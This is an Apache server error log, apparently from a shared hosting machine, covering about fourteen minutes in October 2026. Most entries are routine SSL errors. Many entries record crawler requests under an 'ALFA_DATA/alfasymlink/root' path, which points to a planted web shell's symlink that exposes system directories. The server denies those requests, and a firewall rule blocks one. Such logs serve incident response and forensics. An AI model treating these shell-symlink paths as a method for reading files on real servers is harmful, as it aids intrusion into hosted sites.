[Sat Oct 24 21:10:12.139964 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.16:14220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/ctor
[Sat Oct 24 21:10:18.316854 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 107.20.25.33:3477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:10:46.294616 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.215.221.125:19887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:11:01.260374 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.196:20324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/total_objects
[Sat Oct 24 21:11:02.227408 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.225.98.148:63339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:11:26.120588 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 52.70.123.241:39536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:01/physical_node/subsystem/drivers/shpchp/unbind
[Sat Oct 24 21:11:30.128748 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.203.237.170:40848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:11:54.221154 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.163.169.168:59284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:11:58.126404 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.191.202:37739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:02.093120 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 185.191.171.2:41716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/shrink
[Sat Oct 24 21:12:02.276473 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.85.126.86:47503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:03.380072 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.15:58530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:14.145181 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 50.16.248.61:16869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:18.139666 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.25.120.246:63851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:22.208530 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 98.82.66.172:3217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:26.147069 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 44.210.213.220:45254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:38.165999 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 23.21.179.27:47000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:46.163213 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.200.58.199:26316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:50.166931 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.193.2.57:8662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:12:58.156671 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 34.192.67.98:54560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:13:04.970057 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 185.191.171.4:40432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/aliases
[Sat Oct 24 21:13:09.739609 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 185.191.171.2:21390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:13:22.151013 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.145.82.217:58135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:13:34.131168 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.210.213.220:59715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:13:36.399510 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 185.191.171.12:54150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/hwcache_align
[Sat Oct 24 21:13:38.185408 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.103.31:25613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:13:44.001762 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.205:13020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/slab_size
[Sat Oct 24 21:13:54.168310 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.92.171.106:13420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:14:06.149849 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 35.174.141.243:55669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:14:13.424974 2026] [security2:error] [pid 2693020:tid 2693020] [client 16.216.88.192:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at1X5TKiZtbKEGWJKoLV7gAAACE"]
[Sat Oct 24 21:14:13.425425 2026] [security2:error] [pid 2693020:tid 2693020] [client 16.216.88.192:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at1X5TKiZtbKEGWJKoLV7gAAACE"]
[Sat Oct 24 21:14:13.425766 2026] [security2:error] [pid 2693020:tid 2693020] [client 16.216.88.192:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "at1X5TKiZtbKEGWJKoLV7gAAACE"]
[Sat Oct 24 21:14:50.197269 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.212.131.50:63650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:14:54.154400 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.212.106.171:22939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:14:58.140627 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.217.171.106:52931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/uevent
[Sat Oct 24 21:15:14.219052 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 52.6.232.201:57447] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 21:15:30.156802 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 18.207.89.138:25317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/uhci_hcd/remove_id
[Sat Oct 24 21:15:38.135294 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.1.157.90:50878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:15:42.183746 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.235.158.19:43634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:15:47.145345 2026] [security2:error] [pid 2731598:tid 2731598] [client 74.7.241.171:37708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/robots.txt"] [unique_id "at1YQ0CehrQoNuVtn8-O9QAAAAM"]
[Sat Oct 24 21:15:47.145391 2026] [security2:error] [pid 2731598:tid 2731598] [client 74.7.241.171:37708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/robots.txt"] [unique_id "at1YQ0CehrQoNuVtn8-O9QAAAAM"]
[Sat Oct 24 21:15:47.169485 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.198:34804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/kdamond_pid
[Sat Oct 24 21:16:02.303127 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.20.178.124:34227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:16:05.865476 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.1:33444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/alloc_calls
[Sat Oct 24 21:16:16.579239 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.211:47222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/red_zone
[Sat Oct 24 21:16:18.137481 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.204.150.196:38144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:16:26.157493 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.217.171.106:4399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:16:38.185831 2026] [ssl:error] [pid 2692979:tid 2692979] (5)Input/output error: [client 54.163.169.168:33778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:16:42.148667 2026] [security2:error] [pid 2707149:tid 2707149] [client 18.209.137.234:14739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/virtio1/"] [unique_id "at1Yejr66i8lbh-yPykEQgAAAAA"]
[Sat Oct 24 21:16:42.148745 2026] [security2:error] [pid 2707149:tid 2707149] [client 18.209.137.234:14739] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/virtio1/"] [unique_id "at1Yejr66i8lbh-yPykEQgAAAAA"]
[Sat Oct 24 21:16:46.243246 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.204.89.12:61183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:02.347474 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.193.2.57:57668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:10.152780 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.54.95.127:23388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:14.191554 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.216.13.10:61475] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:22.132659 2026] [security2:error] [pid 2692918:tid 2692918] [client 18.233.24.238:11496] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:03/subsystem/devices/device:00/physical_node/link/"] [unique_id "at1YorUNAjBk2uOT2T-HPAAAAAo"]
[Sat Oct 24 21:17:22.132726 2026] [security2:error] [pid 2692918:tid 2692918] [client 18.233.24.238:11496] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:03/subsystem/devices/device:00/physical_node/link/"] [unique_id "at1YorUNAjBk2uOT2T-HPAAAAAo"]
[Sat Oct 24 21:17:42.411959 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.90.73.206:36086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:50.225255 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.73.167.217:29162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:17:54.386066 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.201:27418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/store_user
[Sat Oct 24 21:18:02.133543 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 35.174.253.85:28885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:06.207775 2026] [security2:error] [pid 2731598:tid 2731598] [client 23.23.214.190:4813] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input0/device/wakeup/wakeup8/subsystem/"] [unique_id "at1YzkCehrQoNuVtn8-O-gAAAAM"]
[Sat Oct 24 21:18:06.207823 2026] [security2:error] [pid 2731598:tid 2731598] [client 23.23.214.190:4813] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input0/device/wakeup/wakeup8/subsystem/"] [unique_id "at1YzkCehrQoNuVtn8-O-gAAAAM"]
[Sat Oct 24 21:18:10.140493 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.80.73.122:28776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:14.170570 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:13254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:16.382863 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 85.208.96.205:35386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:18.145255 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.223.193.255:59364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/subsystem/devices/device:0c/eject
[Sat Oct 24 21:18:22.144046 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.204.62.163:35799] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:30.276223 2026] [authz_core:error] [pid 2731598:tid 2731598] [client 102.220.161.89:44778] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 21:18:34.136327 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 18.213.102.186:15265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:40.242214 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.9:62618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/usersize
[Sat Oct 24 21:18:50.139930 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 50.19.79.213:37601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:18:58.144020 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 184.73.68.20:44002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:06.129481 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 100.28.118.16:48066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:09.638881 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 85.208.96.198:35814] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:22.149673 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.216.86.144:18773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:26.124857 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.220.70.171:6931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:30.127208 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.71.216.196:12126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:34.378667 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.207.69.106:34747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:19:50.143049 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.82.40.168:28272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:02.165546 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.171.141.42:63004] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:05.720332 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.15:38208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/free_calls
[Sat Oct 24 21:20:06.157290 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.235.215.92:30396] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:10.233630 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.231.45.47:20284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:14.268954 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 184.73.195.18:58343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:17.926226 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.211:22006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/bin/zless"] [unique_id "at1ZUT8oejtZfsaip1YowAAAABE"]
[Sat Oct 24 21:20:17.926269 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.211:22006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/bin/zless"] [unique_id "at1ZUT8oejtZfsaip1YowAAAABE"]
[Sat Oct 24 21:20:22.136065 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.82.40.168:33640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:26.202877 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 23.21.148.226:65316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:34.208941 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.13:49512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/usersize
[Sat Oct 24 21:20:34.249682 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.63.147:26388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:46.136285 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.216.86.144:63922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:20:54.152532 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.89.176.255:44059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:21:17.503485 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 85.208.96.211:32460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/order
[Sat Oct 24 21:21:18.180297 2026] [ssl:error] [pid 2692979:tid 2692979] (22)Invalid argument: [client 18.232.12.157:24421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:21:30.160120 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 18.204.152.114:38207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/kernel/slab/Acpi-Namespace/validate
[Sat Oct 24 21:21:38.228920 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 23.21.204.95:51438] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 21:21:47.759606 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.14:60190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:04.0/resource0
[Sat Oct 24 21:21:50.293346 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 185.191.171.19:55004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/free_calls
[Sat Oct 24 21:21:58.152929 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.197.28.78:45581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:22:02.166526 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.205.141.124:13910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:22:13.492137 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.205:57308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/remote_node_defrag_ratio
[Sat Oct 24 21:22:22.236675 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 44.207.69.106:24332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:22:30.593486 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.234.206.30:9976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:22:40.903003 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.209:18728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/poison
[Sat Oct 24 21:22:48.909258 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.205:15878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/red_zone
[Sat Oct 24 21:22:54.139403 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.206.93.215:48738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:10.193892 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.204.150.196:58190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:14.161586 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.172.108:36664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:26.157744 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.21.175.228:63963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:33.902220 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.202:11582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial
[Sat Oct 24 21:23:33.902670 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:11582] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial"] [unique_id "at1aFTKiZtbKEGWJKoLWAgAAACE"]
[Sat Oct 24 21:23:33.902705 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:11582] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial"] [unique_id "at1aFTKiZtbKEGWJKoLWAgAAACE"]
[Sat Oct 24 21:23:34.202480 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 54.145.82.217:50879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/input5/device/driver/pcspkr/subsystem/drivers/ucsi_acpi/bind
[Sat Oct 24 21:23:38.147942 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.205.74.196:64811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:42.258994 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 18.207.79.144:22897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/unbind
[Sat Oct 24 21:23:46.145572 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.226.106.93:15122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:23:50.134921 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 23.20.178.124:47892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/event3/device/device/drvctl
[Sat Oct 24 21:23:58.131603 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.84.147.79:60365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:24:06.384076 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.217.171.106:46636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:24:14.158879 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.4.76.156:28795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:24:18.308135 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.222.85.38:48844] AH02013: coalesce failed to read from data bucket
